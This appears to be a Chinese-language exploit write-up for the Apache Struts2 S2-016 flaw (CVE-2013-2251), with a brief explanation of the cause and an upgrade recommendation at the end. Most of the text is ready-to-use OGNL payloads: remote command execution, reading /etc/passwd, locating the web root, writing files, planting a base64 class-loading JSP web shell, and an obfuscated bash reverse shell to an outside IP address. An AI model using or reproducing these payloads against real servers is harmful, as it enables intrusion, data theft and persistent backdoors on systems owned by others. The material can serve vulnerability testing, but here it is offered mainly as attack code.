漏洞名称
S2-016(CVE-2013-2251)
通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行
利用条件
Struts 2.0.0 – Struts 2.3.15
漏洞原理
struts2中,DefaultActionMapper
类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
漏洞利用
执行命令
poc1
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)
poc2
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
windows环境下 未测试poc
redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
读文件
redirect:${#d=new java.io.FileReader('/etc/././passwd'),#e=new java.io.BufferedReader(#d),#f=#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine(),#e.close(),#d.close(),#aaaaa=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#xxxxx=#aaaaa.getWriter(),#xxxxx.println(#f),#xxxxx.flush(),#xxxxx.close()}
获取web目录
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
写入web shell
poc1
为写入内容 尝试后只上传上去一个空文件
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("3.jsp").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
poc2
redirect:xxxxx%{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#path=#req.getRealPath("/")+'/x.jsp',#d=new java.io.FileWriter(#path),#d.write('test'),#d.close()}
x.html 为写入的文件名
test为写入的文件内容
写入jsp的webshell
redirect:xxxxx%{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#path=#req.getRealPath("/")+'/2.jsp',#d=new java.io.FileWriter(#path),#d.write('<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>'),#d.close()}
在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)
编码后发送
反弹shellen
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
urlencode编码后发送
在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)
修复建议
强烈建议升级到 Struts 2.3.15.1****,其中包含更正后的 Struts2 核心库。